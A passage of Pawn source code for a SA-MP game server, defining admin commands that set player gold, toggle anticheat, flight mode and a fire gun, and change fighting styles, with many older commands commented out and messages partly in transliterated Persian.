						SaveKonVal(para1, "pAccount", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Pool Haye Bank Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Pool Haye Banke {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Bank Moneys To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	if(strcmp(cmd, "/setgolds", true) == 0 || strcmp(cmd, "/setgold", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setgold <playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
				new ssta[80];
				new sstx[60];
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pGold] = level;
						SaveKonVal(para1, "pGold", level);
					format(sstx, sizeof(sstx), "Your golds was set to %s by %s", FormatNumber(level),sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, sstx);
					format(ssta, 80, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's golds to %s", sendername,giveplayer,FormatNumber(level));
						ABroadCast(COLOR_AdminWarn,ssta,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	/*
	if(strcmp(cmd, "/setmatskill", true) == 0 || strcmp(cmd, "/setmatsskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setmatskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players materialsskill. you can just set materialsskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pMatsSkill] = level;
						SaveKonVal(para1, "pMatsSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skill e Materials e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skill e Materials e {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Changed %s's Materials Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
if(strcmp(cmd, "/pfix", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pPremiumAccount] < 2)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your premium account isn't high enough!");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
					RepairVehicle(GetPlayerVehicleID(playerid));
					SendMessage(playerid, COLOR_LIGHTBLUE, "Vehicle Fixed.");
				}
			}
			return 1;
		}
		*/
/*
  if(strcmp(cmd, "/pnitro", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pPremiumAccount] < 2)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your premium account isn't high enough.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
					AddVehicleComponent(GetPlayerVehicleID(playerid), 1010);
					SendMessage(playerid, COLOR_Good, "Vehicle nitro installed.");
				}
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/pgivegun", true) == 0 || strcmp(cmd, "/pgg", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PlayerInfo[playerid][pPremiumAccount] == 3)
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /pgivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
				new playa;
				new gun;
				new aammo;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				gun = strval(tmp);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /pgivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
					return 1;
				}
				if(gun <= 0||gun >= 47||gun==19||gun==20||gun==21)
				{ SendMessage(playerid, COLOR_RED, "This Weapon id is not exist or it's wrong."); return 1; }
				tmp = strtok(cmdtext, idx);
				aammo = strval(tmp);
				if(aammo < 1||aammo > 100000)
				{ SendMessage(playerid, COLOR_RED, "don't go below 1 or above 100000 Ammo."); return 1; }
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GivePlayerKolang(playa, gun, aammo);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new wepname[256];
							GetWeaponName(gun,wepname,sizeof wepname);
							format(string, 256, "[Admin-Warn]:Premium {FFFFFF}%s has given a %s to %s", sendername,wepname,giveplayer);
							ABroadCast(COLOR_AdminWarn,string,1);
						}
					}
				}
				else
				{
					SCM(playerid, COLOR_YELLOW2, "Error: you haven't Premium account.");
				}
			}
			return 1;
		}
*/
/*
if (strcmp(cmd, "/logout", true) ==0 )
	{
	   if(IsPlayerConnected(playerid))
		{
			if (PlayerInfo[playerid][pAdmin] >= 11)
			{
				OnPlayerUpdate(playerid);
				gPlayerLogged[playerid] = 0;
				SendClientMessage(playerid, COLOR_GRAD1, "Shoma Az Bazi LogOut Shodid.");
			}
			else
			{
				SendClientMessage(playerid, COLOR_GRAD1, "You are not authorized to use that command !");
			}
		}
		return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/logoutplayer", true) == 0 || strcmp(cmd, "/logoutpl", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /logoutplayer <Playerid/PartOfName>");
				return 1;
			}
			giveplayerid = ReturnUser6(tmp);
			if (PlayerInfo[playerid][pAdmin] >= 11)
			{
				if(IsPlayerConnected(giveplayerid)&&giveplayerid != INVALID_PLAYER_ID)
				{
					OnPlayerUpdate(giveplayerid);
					gPlayerLogged[giveplayerid] = 0;
					SendClientMessage(playerid, COLOR_GRAD1, "Bazikon Ba Movafaqiat LogOut Shod.");
				}
			}
			else
			{
				SendClientMessage(playerid, COLOR_GRAD1, "You are not authorized to use that command !");
			}
		}
		return 1;
	}
	*/
//-------------------------------[Logoutall]--------------------------------------------------------------------------
/*
	if (strcmp(cmd, "/logoutall", true) ==0 )
	{
		if(IsPlayerConnected(playerid))
		{
			if (PlayerInfo[playerid][pAdmin] >= 11)
			{
				for(new i = 0; i < MAX_PLAYERS; i++)
				{
					if(IsPlayerConnected(i))
					{
						OnPlayerUpdate(i);
						gPlayerLogged[i] = 0;
					}
				}
				SendClientMessage(playerid, COLOR_GRAD1, "Hame Player Ha Az Bazi LogOut Shodan.");
			}
			else
			{
				SendClientMessage(playerid, COLOR_GRAD1, "You are not authorized to use that command !");
			}
		}
		return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/createlogo", true) == 0 || strcmp(cmd, "/clogo", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(IsPlayerConnected(playerid))
		{
			test1 = CreateObject(19326,0,0,0,0,0,0);
			test2 = CreateObject(19326,0,0,0,0,0,0);
			SetObjectMaterialText(test1, "{6EF83C}(*.{F81414})({6EF83C}.*)", 0, OBJECT_MATERIAL_SIZE_256x128, "Arial", 15,1, -16776961, 0,OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
		   SetObjectMaterialText(test2, "{B700FF}.{F81414}Azin Game{B700FF}.\n{6EF83C}(.*{F300FF}||{6EF83C}`*.)", 0, OBJECT_MATERIAL_SIZE_256x128, "Gabriola", 28, 1, -16776961, 0,OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
			AttachObjectToPlayer(test1, playerid, 0.000000, -0.120000, 0.40000, 0.000000, 0.00000, 0.000000);
			AttachObjectToPlayer(test2,playerid, 0.000000, -0.125000, 0.100000, 0.00000, 0.00000, 0.00000);
		}
		return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/deletelogo", true) == 0 || strcmp(cmd, "/dlogo", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(IsPlayerConnected(playerid))
		{
			DestroyObject(test1);
			DestroyObject(test2);
		}
		return 1;
	}
	*/
	
	
	
	
	
	if(strcmp(cmd, "/anticheat", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 12)
		  {
		  SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /anticheat <playerid/PartOfName> <0/1>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /anticheat <playerid/PartOfName> <0/1>");
			 return 1;
		  }
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
			 anticheat[para1] = 1;
//				new string[512];
				format(string, sizeof(string), "The anticheat system is now enabled for you by %s",sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s has enabled the anticheat system for %s",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				anticheat[para1] = 0;
//				new string[512];
				format(string, sizeof(string), "The anticheat system is now disabled for you by %s", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s has disabled the anticheat system for %s",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Error: Unknown value! Use 1 for enable and use 0 for disable.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}


	
	
	
	
	
	
	
	
	
				if(strcmp(cmd, "/fly", true) == 0)
		{
			   tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /fly <Playerid/PartOfName>");
					return 1;
				}
			new playa;
			playa = ReturnUser6(tmp);
			if(IsPlayerConnected(playa))
			{
				if(PlayerInfo[playerid][pAdmin] < 8 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(flymode[playa] == 0)
				{
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			 flymode[playa] = 1;
			 new sttrr[144];
			 format(sttrr,144,"{FFFFFF}Admin %s enabled the flymode for %s", PINFO[playerid][pName], PINFO[playa][pName]);
			 SCM(playa, COLOR_Good, "Use W to go forward, left click to raise, right click to land and move mouse for rotation.");
			 SCM(playa, COLOR_Good, "Hold Space to move faster, and left alt to move slower.");
				AdminWarn(sttrr);
			 InitFly(playa);
			 Fly(playa);
			 StartFly(playa);
			 FlyMikone[playa] = 1;
			 flycheat[playa] = 1;
	//EnableAntiCheatForPlayer(playa, 1, 0);
	//EnableAntiCheatForPlayer(playa, 2, 0);
	//EnableAntiCheatForPlayer(playa, 3, 0);
	//EnableAntiCheatForPlayer(playa, 7, 0);
	//EnableAntiCheatForPlayer(playa, 8, 0);
	//EnableAntiCheatForPlayer(playa, 10, 0);
				if(GodmodeFeature[playa] == false)
			 {
			 SetPlayerKoon(true, playa, 100);
			 }
				}
				else if(flymode[playa] == 1)
				{
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			 flymode[playa] = 0;
			 new sttrr[256];
			 format(sttrr,256,"{FFFFFF}Admin %s disabled the flymode for %s", PINFO[playerid][pName], PINFO[playa][pName]);
			 SCM(playa, COLOR_Good, "Fly disabled.");
				AdminWarn(sttrr);
			 StopFly(playa);
			 FlyMikone[playa] = 0;
			 flycheat[playa] = 0;
			 //if(anticheat[playa] != 0)
			 //{
	//EnableAntiCheatForPlayer(playa, 1, 1);
	//EnableAntiCheatForPlayer(playa, 2, 1);
	//EnableAntiCheatForPlayer(playa, 3, 1);
	//EnableAntiCheatForPlayer(playa, 7, 1);
	//EnableAntiCheatForPlayer(playa, 8, 1);
	//EnableAntiCheatForPlayer(playa, 10, 1);
	//}
				if(GodmodeFeature[playa] == false)
			 {
			 SetPlayerKoon(true, playa, 100);
			 }
				}
			}
			return 1;
		}
	
	
	
					if(strcmp(cmd, "/firegun", true) == 0)
		{
			   tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /firegun <Playerid/PartOfName>");
					return 1;
				}
			new playa;
			playa = ReturnUser6(tmp);
			if(IsPlayerConnected(playa))
			{
				if(PlayerInfo[playerid][pAdmin] < 9 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			 new str[100];
			 if(GunFire[playa])GunFire[playa]=false;
			 else GunFire[playa]=true;
			 format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has %s the fire gun for %s",PlayerInfo[playerid][pName],(GunFire[playerid]==false)?("disabled"):("enabled"),PINFO[playa][pName]);
			 SendAdminMessage(COLOR_AdminWarn,str);
			 new strmstr[256];
			 if(GunFire[playa] == false)
			 {
			 format(strmstr,256,"Firegun:{ff0000} Disabled.");
			 SendClientMessage(playa, COLOR_SINA2, strmstr);
			 }
			 if(GunFire[playa] == true)
			 {
			 format(strmstr,256,"Firegun:{00ff00} Enabled.");
			 SendClientMessage(playa, COLOR_SINA2, strmstr);
				}

			}
			return 1;
		}
	
	
	
	
	
	
	
/*
if (strcmp(cmd, "/fly", true) == 0)
{
	if(gPlayerLogged[playerid] == 0) return SendClientMessage(playerid, COLOR_GRAD2, "You are not logged in.");
  if(IsPlayerConnected(playerid))
  if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
  {
	 if(PlayerInfo[playerid][pAdmin] >= 8)
	{
	 new sendername[30],string[256];
	   if(flymode[playerid] == 0)
	   {
		  GetPlayerName(playerid, sendername, sizeof(sendername));
			flymode[playerid] = 1;
			new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s enabled the flymode for him/her self.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			 SCM(playerid, COLOR_SINA2, "Flymode:{00FF00} Enabled.");
	   InitFly(playerid);
	   Fly(playerid);
	   StartFly(playerid);
	   SetPlayerKoon(true, playerid, 100);
	   FlyMikone[playerid] = 1;
	 }
	 else
	 {
		GetPlayerName(playerid, sendername, sizeof(sendername));
			 flymode[playerid] = 0;
			 new sttrr[256];
		format(sttrr,256,"{FFFFFF}Admin %s disabled the flymode him/her self.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			 SCM(playerid, COLOR_SINA2, "Flymode:{FF0000} Disabled.");
	   StopFly(playerid);
	   SetPlayerKoon(true, playerid, 100);
	   FlyMikone[playerid] = 0;
	 }
	//  ABroadCast(COLOR_YELLOW,string,1);
	}
	else return SendClientMessage(playerid, COLOR_GREEN, AdminOnly);
  }
  return 1;
	}
	*/
	/*
	if(!strcmp(cmd, "/fly2", true))
	{
	if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");

	   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");



	   if(flying[playerid] == false)
	   {
		flying[playerid] = true;
		SetTimerEx("AdminFly", 100, 0, "d", playerid);
		SetPlayerKoon(true, playerid, 1000000);
		  SendClientMessage(playerid, COLOR_GREEN, "{FF0000}[{FF00FF}Flying-System{FF0000}]{FFFFFF}: {00FF00}Enabled.");
					   new sttrr[256];
		format(sttrr,256,"{FFFFFF}Admin %s enabled the flymode2 for him/her self.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			 FlyMikone[playerid] = 1;

		return 1;
	   }

	   if(flying[playerid] == true)
	   {
		flying[playerid] = false;
		SetTimerEx("AdminFly", 100, 0, "d", playerid);
		  SendClientMessage(playerid, COLOR_RED, "{FF0000}[{FF00FF}Flying-System{FF0000}]{FFFFFF}: {C60000}Disabled.");
								new sttrr[256];
		format(sttrr,256,"{FFFFFF}Admin %s disabled the flymode2 for him/her self.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			 FlyMikone[playerid] = 0;

		return 1;
	   }
	 return 1;
	   }
	   */
	   /*
	   if(!strcmp(cmd,"/helmet",true))
		{
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You must sit on Vehicle.");
			SetPlayerAttachedObject(playerid, 1, 18645, 2, 0.07, 0, 0, 88, 75, 0);
			SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Helmet]{FFFFFF}:{00FF00} Enabled{FFFFFF}.");
			return 1;
		 }
		 */
		 /*
			if(!strcmp(cmd,"/rhelmet",true))
	{
	   if(IsPlayerAttachedObjectSlotUsed(playerid,1)) RemovePlayerAttachedObject(playerid,1);
	   SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Helmet]{FFFFFF}:{FF0000} Disabled{FFFFFF}.");
	   return 1;
		}
		*/
if(strcmp(cmd, "/mysamp", true) == 0)
		{
						new strings[40];
						GetPlayerVersion(playerid, strings, sizeof(strings));
						format(strings, sizeof(strings), "Your version of SA-MP is %s", strings);
						SendMessage(playerid, COLOR_MEDIC, strings);
						//SCM(playerid,COLOR_LIGHTRED,"If you haven't newer version, download it from our /forum(Type /forum to get forum URL)");
						return 1;
		}
		// HouseID: 389
		/*
if(strcmp(cmd, "/gate8585", true) == 0 || strcmp(cmd, "/g8585", true) == 0)
   {
		 if(IsPlayerConnected(playerid))
	   {
		if(PTP(10.0,playerid,1002.1542, -643.6658, 122.9710)) // Marbout Be sinadoor1 = CreateDynamicObject
		{
		if(sinadoorgate1 == 0)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 389: The door is opening.");
			 MoveDynamicObject(sinadoor1,1002.1542, -643.6658, 127.7614, 3); // Marbout Be Coordinates e Dakhele Movement Map Editor e Object e Baz Shodane Dar
			 sinadoorgate1 = 1;
		return 1;
	   }else if(sinadoorgate1 == 1)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 389: The door is closing.");
			 MoveDynamicObject(sinadoor1,1002.15417, -643.66583, 122.97105, 3); // Marbout Be Coordinates e Aslie Dar
			 sinadoorgate1 = 0;
	   return 1;
	   }
		return 1;
		}
	 }


}
*/
//-------
/*
	  //HouseID: 69
	  if(strcmp(cmd, "/gate4444", true) == 0 || strcmp(cmd, "/g4444", true) == 0)
   {
		 if(IsPlayerConnected(playerid))
	   {
		if(PTP(10.0,playerid,319.04623, -1187.88757, 78.19210)) // Marbout Be sinadoor2 = CreateDynamicObject
		{
		if(sinadoorgate2 == 0)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 69: The gate is opening.");
			 MoveDynamicObject(sinadoor2,319.0462, -1187.8876, 83.2881, 3); // Marbout Be Coordinates e Dakhele Movement Map Editor e Object e Baz Shodane Dar
			 sinadoorgate2 = 1;
		return 1;
	   }else if(sinadoorgate2 == 1)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 69: The gate is closing.");
			 MoveDynamicObject(sinadoor2,319.0462, -1187.8876, 78.1921, 3); // Marbout Be Coordinates e Aslie Dar
			 sinadoorgate2 = 0;
	   return 1;
	   }
		return 1;
		}
	 }


}
*/	  // -----------
	  /*
	  // HouseID: 227
		  if(strcmp(cmd, "/gate5519", true) == 0 || strcmp(cmd, "/g5519", true) == 0)
   {
		 if(IsPlayerConnected(playerid))
	   {
		if(PTP(10.0,playerid,282.21106, -1320.36560, 55.47209)) // Marbout Be sinadoor3 = CreateDynamicObject
		{
		if(sinadoorgate3 == 0)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 227: The gate is opening.");
			 MoveDynamicObject(sinadoor3,282.21106, -1320.36560, 49.85072, 3); // Marbout Be Coordinates e Dakhele Movement Map Editor e Object e Baz Shodane Dar
			 sinadoorgate3 = 1;
		return 1;
	   }else if(sinadoorgate3 == 1)
	   {
	   SCM(playerid,COLOR_WHITE,"HouseID 227: The gate is closing.");
			 MoveDynamicObject(sinadoor3,282.21106, -1320.36560, 55.47209, 3); // Marbout Be Coordinates e Aslie Dar
			 sinadoorgate3 = 0;
	   return 1;
	   }
		return 1;
		}
	 }


}
*/
	  
	  
	  
	  
	  /*

// Respray New ( Not Bug ) Writed by Sina
if(strcmp(cmd, "/respray", true) == 0)
	{
	 if(IsPlayerConnected(playerid))
	 {
	 if(IsRangerRespray(playerid))
		 if(IsPlayerInAnyVehicle(playerid))
	   {
		RepairVehicle(GetPlayerVehicleID(playerid));
				if(GetPlayerPool(playerid) < 15)
				{
			SendMessage(playerid, COLOR_GRAD5, "Respray-Biz: You haven't enough cash (15$)");
				return 1;
				}
		GivePlayerPool(playerid,-15);            //GetPlayerPool by Sina
		PlayerPlaySound(playerid,1133,0.0,0.0,0.0);                 //PlayerPlaySound by Sina
		GameTextForPlayer(playerid, "~r~-$15", 5000, 1);             //GameTextForPlayer by Sina
		SendMessage(playerid, COLOR_LIGHTBLUE, "Respray-Biz: Your vehicle has been successfully repaired.");
	   }
	 }
	 return 1;
	}

*/
	// Lock Cmd by Sina




   if(strcmp(cmd, "/afightstyle", true) == 0 || strcmp(cmd, "/setfightstyle", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /afightstyle <Playerid/PartOfName> <1-6>");
				return 1;
			}
			new playa;
			new fstyle;
			playa = ReturnUser6(tmp);
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(playa!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /afightstyle <Playerid/PartOfName> <1-6>");
				return 1;
			}
			fstyle = strval(tmp);
			if(fstyle < 1 || fstyle > 6) { SendClientMessage(playerid, COLOR_GREY, "Fighting Style can't be below 1 or above 6 !"); return 1; }
			if(PlayerInfo[playerid][pAdmin] >= 7 || PlayerInfo[playerid][pSponser] == 1)
			{
				if(IsPlayerConnected(playa))
				{
				   if(playa != INVALID_PLAYER_ID)
				   {
					  new fstring[16];
					  if(fstyle == 1)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_NORMAL);
						 fstring = "NORMAL";
						PlayerInfo[playerid][pFSS] = 0;
						SaveKonVal(playerid, "pFSS", 0);
					  }
					  if(fstyle == 2)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_BOXING);
						 fstring = "BOXING";
						PlayerInfo[playerid][pFSS] = 2;
						SaveKonVal(playerid, "pFSS", 2);
					  }
					  if(fstyle == 3)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_KUNGFU);
						 fstring = "KUNG FU";
					   PlayerInfo[playerid][pFSS] = 5;
						SaveKonVal(playerid, "pFSS", 5);
					  }
					  if(fstyle == 4)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_KNEEHEAD);
						 fstring = "KNEEHEAD";
					   PlayerInfo[playerid][pFSS] = 4;
						SaveKonVal(playerid, "pFSS", 4);
					  }
					  if(fstyle == 5)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_GRABKICK);
						 fstring = "GRABKICK";
					   PlayerInfo[playerid][pFSS] = 3;
						SaveKonVal(playerid, "pFSS", 3);
					  }
					  if(fstyle == 6)
					  {
						 SetPlayerFightingStyle(playa, FIGHT_STYLE_ELBOW);
						 fstring = "ELBOW";
						PlayerInfo[playerid][pFSS] = 1;
						SaveKonVal(playerid, "pFSS", 1);
					  }
					  GetPlayerName(playa, giveplayer, sizeof(giveplayer));
						format(string, sizeof(string), "Admin %s has set your fightstyle to %s.",PINFO[playerid][pName], fstring);
						SendClientMessage(playa, COLOR_GREY, string);
